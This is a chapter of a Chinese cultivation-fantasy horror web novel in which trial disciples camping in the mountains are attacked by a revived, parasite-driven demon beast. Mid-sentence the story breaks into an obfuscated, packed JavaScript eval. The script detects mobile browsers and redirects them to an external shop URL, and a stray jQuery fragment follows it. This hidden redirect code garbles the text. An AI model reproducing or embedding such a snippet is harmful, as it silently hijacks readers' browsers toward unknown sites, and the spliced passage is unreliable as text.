“哕——”浓绿幽光渐渐黯淡,视野里依旧是熟悉令人讨厌的三妖。
地上多了滩乌黑的血。
猴老太松手起身,转而和另外两妖交流。
她浑身发热,颤抖着伸手摸了摸额头,发现烫得惊人。
耳边那阵听不清的吟语愈发强烈,还没等她缓过神,一阵强烈的耳鸣突然袭击而来,眼前突发白光,一瞬间双眼失明。
她咳嗽几声,有一瞬间好似神魂出窍,天地颠倒,空间仿佛压缩再压缩,目光在虚幻中不停跳跃,最终隔着千百米,“看”到了一些混乱,诡异的景象。
胸口那颗心脏莫名跳得剧烈,噗通噗通鼓动幅度之大仿佛将要蹦出来。
与此同时,一具早已失去生机的躯体里,硕大的心脏忽然轻轻蹦了一下,血液随之向外蔓延。
……
苏乐悦被灌了几杯酒,迷迷瞪瞪之间听到几方人争吵,从好友怀里挣扎爬起,在模糊的视线寻找焦点。
然而,她并没有将目光落在活人身上,而是投向那静静躺着的尸体,额头过分长的刘海遮住半边视线,她眯着眼仔细辨别。
这回很确定,尸体的胸腹动了。
到底是哪个脑子被啃空的玩意给她灌的酒?
番自在好不容易把怀里扑腾的人压制住,片刻后低头一看,好家伙,此人脸色惨白,双眼紧闭,不试探一下鼻尖的气息还以为死了过去。
她收回手,被迫起身离开,把这麻烦带到离人远点的角落,免得那断断续续的气息中途消失。
离火源了后,四周清凉不少,目光不由在一众人之间徘徊,按理来说,酒这种容易让人忘却四周危险的物品向来被禁止在试炼中携带,虽然只是一条死规定,没几人在意。
可自个喝两口就算了,把别人灌醉是什么心思?任谁都清楚苏乐悦一滴就倒的本事,究竟是谁这么有闲心给她找麻烦?
一想到待会还要驮这家伙回去,番自在就烦得心堵,忍不住摩挲腰间的剑,在脑中一次次演练着把灌酒那人和怀里这死东西一起碎尸万段。
“咳咳……”某人虚弱的咳嗽声传来,番自在认命地把人拎起,一下又一下地拍打后背。
在她周围不远处的文夏听到动静往那方向看去,待看清后不由得多看两眼,然后又多看两眼,然而实在还是摸不清番自在行为的动机。
她像拎麻袋一般拍打人的后背,动作认真,力道十足,颇有种生怕人死了,又生怕人不死了的感觉。
?
这两人的相处方式一直很奇怪,明明一同进入岐仙门,时常结伴同行,可是彼此又两看生厌。
那是一种由内而外透露,外人都能看出的厌烦,不像演的。
文夏看了笑了,没放在心上,正巧这时有人给她递来被酒,她不喜欢那刺激的味道便推了回去。
这才没过多久,篝火边的十几人脸颊红润,话语里透着几分醺醺的醉意。
带头的那几人还兴高采烈地举酒畅饮,丝毫没有夜处深山的危机感。
夜深了,她环顾四周,除了争吵的那些人外,半数人昏昏欲睡,还有小部分人早已入睡,腰间的剑被人拿去串肉了都浑然不知。
在这氛围下,她不由得打了个哈欠,抱着剑往后靠着树干。
树干再后头一些便是隔离屏障的边缘,这是此次任务发下来的宝器,正常情况下,属于人的气息会被屏障牢牢锁在其中,火光与白烟一些动静也会被掩盖,从外处看,这里寂静无人。
此地位于山脉边缘,照理来说就算有妖兽,危险性也不足为惧,而且在危险到来前,更外围警示屏障会先一步提醒。
比她修为更强的人还醒着,屏障塌了也有人顶着,虽是这么想,文夏那双瞪大的眼却毫无睡意,她不习惯在陌生的环境下短暂失去意识。
夜晚总是能放大人的焦虑,特别是在睡不着的时候。
她是从凡间的小村庄里走出来的,一路上的艰难,不易说个三天三夜也说不完。
实力越低处境越艰难,她现在虽是摆脱从前人人可欺的处境,可摆在前面的困难依旧一重接着一重,不进则退。
那边争吵的人亦是如此,下月年度考核基本决定了资源分配,要是能拿到妖丹,几方人的实力差距就像卷雪球般越滚越大。
文夏上次负伤考核已经落后许多,这次再落后,后续的资源难以跟上,要是错过修为增长最快的几年,再往后筑基将遥遥无期。
侧横山便是她所在的山头,虽离主山依旧遥远,但是已经是这块地界最好的山头,其中什么情况她也大致了解,就单那边争吵的天才便已是她跨越不过的大山。哪怕是同级次的学徒也依旧不曾停下步伐,只是稍落后些许,便有人不断追上去。
在这次试炼中想要拿下名次实在太难。
她心烦意乱,每每想到这些事,便陷入无边的烦躁和焦虑,胸口仿佛被压上一块巨石,时时喘不上来气。
能让她有所依仗的只有这些年省吃俭用攒下来的灵珠,文夏掂量着腰间的钱袋,带出来的不多。
她靠后倚着树干,目光落在遥远的星光上。
试炼拼的不全是自身实力,若有外力加以辅助,实力会扒升一大截,更能取得名次。侧横山大多都是普通,或是杂役学徒,钱财本就稀缺。
据说靠近主山那些内门学徒常常会在会展上购买符箓,宝器等。
会展入门就需要一定资格,她没有,但是入山前曾认识的好友任职于某个小商会,前些日子还说能给她行个方便。
那家伙现在倒是混得不错,拿出的那些稀奇古怪的宝器她在别人手里都没有见过。
作用也是闻所未闻,据说有个血镯能存高阶修士的灵术,运用得好,一个练气中期修士丝毫不输后期。
当然,所需的钱财也是一个她远远承担不起的数。
考核将到,她哪能甘心,于是几次登门拜托好友给留意一些残损宝器,多次倒手或者稍微破损些,来源不明些,有些毛病的也无所谓。
只要能在此次考核中拿下名次,过程中一些风风雨雨无所谓。
文夏仰头看着天边的明月,今晚难得月圆,月与云交织也算一番好景,然而无心欣赏,心头的焦虑都快溢出来,烦得人心慌气短。
胸口的跳动声似乎和什么噗嗤声响应,频率相同,她差点以为听错了。
正要起身察看时,旁边一醉酒的好友踉跄着倒在她身上,文夏好不容易扶住他,这人恩将仇报,哕地一声呕了一地,酸臭味扑面而来。
“咋不喝死你。”文夏面目扭曲,下意识把人丢出去,结果看到他醉醺醺地面朝地趴下,鼻孔估计被杂草堵住,像死鱼一般身体弹跳了几下又死死扒在地上。
文夏没法,把人翻过来,拿起旁边的小木棍挑开那人脸上的杂草。
她没有注意,醉酒那人不知何时睁开眼,脸上原本还残留着畅饮的兴奋,面对在脸上作乱的木棍,还不识好人心地想要捉住撇掉那玩意。
然而他视线模糊,目光重影交织,一时间没个准头抓不住,几次下来,放弃了,没有焦距的目光向外延伸。
恍惚中,他好像看到文夏身后的树干的老皮脱落,洞眼处长出一排又一排的牙齿,那密密麻麻的牙齿围成五个脑袋大小的洞口,那洞口好像在收缩,他甚至能看到类似喉咙一般的洞口深处残留的头发。
瞳孔急速收缩,不是类似,那就是一节放大的喉咙。
瞬间酒意如潮水褪去,浑身如坠冰窖,恐惧自脚底快速蔓延全身,喉咙仿佛被压实的棉花堵住,任凭他如何急切都说不清话,只能发出艰难的嗬嗬声。
文夏还当他发酒疯,拍了拍他的脸,感觉弹性不错:“你说你两杯就到的体质究竟是怎么敢喝这么多的?要是发生什么意外能指望谁把你抬回去?”
这家伙家里有点小钱,文夏快穷疯了,琢磨着狮子大开口跟他打个商量:“唉,我实在是个善人,三千灵珠大发好心把你送回去……”也不是不行。
话还未落,跟前这人眼睛瞪得越来越大,大到撑得四周眼皮将将欲裂,文夏心头莫名猛地跳了下,低下身试图看仔细些。
无声无息下,漆黑的眼睛里一圈獠牙无限放大,而在那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887321|212596||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
极近极近的距离下,一截脆弱纤细的脖颈如刀下羔羊,就这么暴露其中。
她瞳孔猛然收缩,下意识起身躲开,然而危险压根没留给人半点反应的时间,根本来不及躲避。
“铮——”耳边响彻几乎将要震晕脑子的剧烈声,身后金属与硬甲撞击强烈,火光迸射。
得到片刻喘息,文夏丝毫没有犹豫,扯起“躺尸”的衣领向外甩飞,同时反身踹了一脚,借力撤到安全距离,几乎就在她撤开瞬间,爆裂的甲片如同利剑瞬间向周围发射。
带有腐蚀液体的甲片深入土里,四周植株连带土壤顿时变黑融化,散发浓浓刺鼻的味道。
她心有余悸地后退几步,下意识看向剑来处。
那刺向同门的剑从脖颈处擦边而过,姜望眼里没有人,注视着痛苦至扭曲的怪物,抬手操控剑时,额头上的血红剑痕若隐若现。
那剑精准刺破妖兽的眼球,牢牢深入半边头骨,血混着蓝色□□向下流,眼球爆裂的痛苦妖兽无法承受,狂躁地吼叫,无差别撞击周围物体,同时迸发带有腐蚀性甲片,让修士无法靠近。
围上来的修士面面相窥:“什么情况,半边身体都没了还能动?”
不止是半边身体,妖兽腹部被开的口子几乎横跨整个身体,内脏基本被掏空,可生机断绝的它竟还能拖着垂落至地面的肠子行动,甚至悄无声息地吃掉无人注意的修士。
已经有人发现角落里昏睡的几人悄然消失,再看妖兽腹部某个部位诡异地隆起,像是吃撑一般,腹部某条薄些的肠子隐隐可见人形。
若是再晚一些察觉,说不定在场但凡闭上眼没被关照的修士都将丧命于此。
“该死。”见此情景,姜望来不及恼怒这一地酒气是怎么来的,立刻指挥所有人备战,按之前排练的阵型围向妖兽。
硬甲迸射的范围不大,待甲片迸射结束后,便可进入那范围围攻妖兽。
“嘎吱——嘎吱——”令人牙酸的骨骼断裂重组声不断响起,伴随着血肉不断蠕动的噗呲声,接着,一群修士便见到了此生难忘的诡异情景。
“这是……”有人看几眼便感觉腹部翻滚,一股恶心感在喉咙堵着不上不下。
这时候,被丢在树底下的苏乐悦睁开眼,半醉半醒间愣愣被不远处的一幕冲击得彻底清醒,阴冷冷的眼睛一眨不眨地盯着看,脑中不知琢磨着什么。
她还未清楚发生了什么,那些交错粗大的树干以及垂下的枝叶遮挡大部分视野。
众人持剑背对着她,地下的影子被火光拉得很长,或许是遇到什么,气氛低沉紧张。
四周雾气悄然透过屏障蔓延而来,她嗅到浓厚的血腥味,前面一个遮挡视线的人走开。
她看……看到了一条飘舞的肠子?
从人与人的夹缝中望去,原本死透的妖兽尸体更加死透,几乎横跨整具躯体的伤口彻底外翻,血肉模糊,裸露的数条肠子像是长长的蠕虫般向外蠕动。
腹部某个位置像是孕育着某种生命般高高隆起,周身血管暴起,原本停滞的鲜血被什么吸引全都涌到此处,里头一团鼓动的东西在拼命向外挣扎。
那数条“肠子”便是从鼓包中伸出,把伤口撑得越来越大,像是手脚撑着外头借力试图拔起什么。
“它这是在……下崽?”
在此诡异情景下,苏乐悦身侧同样刚醒的男修士发出惊奇的一声。
苏乐悦嘎吱扭转脑袋,看了一眼这构造奇特的脑子后收回视线。
她眉头紧皱,目光在妖兽腹部与肠子连接处不断扫视。
那“肠子”与尸体之间似乎存在一层薄膜般的物质将它们连接起来,仔细再看,那腹部空腔内部似乎存在不明丝线,或许是被挣脱断裂,雪白的丝线像是绦虫一般布满某个位置。
结合来看,它们像是某些寄生虫一般钻入肉里将肉与肉连接起来。
诡异得很。
番自在感到身侧一股风袭来,扭头一看,那玩意不知何时清醒,又不知何时来到身边,那阴森森的眼神直勾勾地盯着尸体,嘴角还勾起一丝不明笑意。
?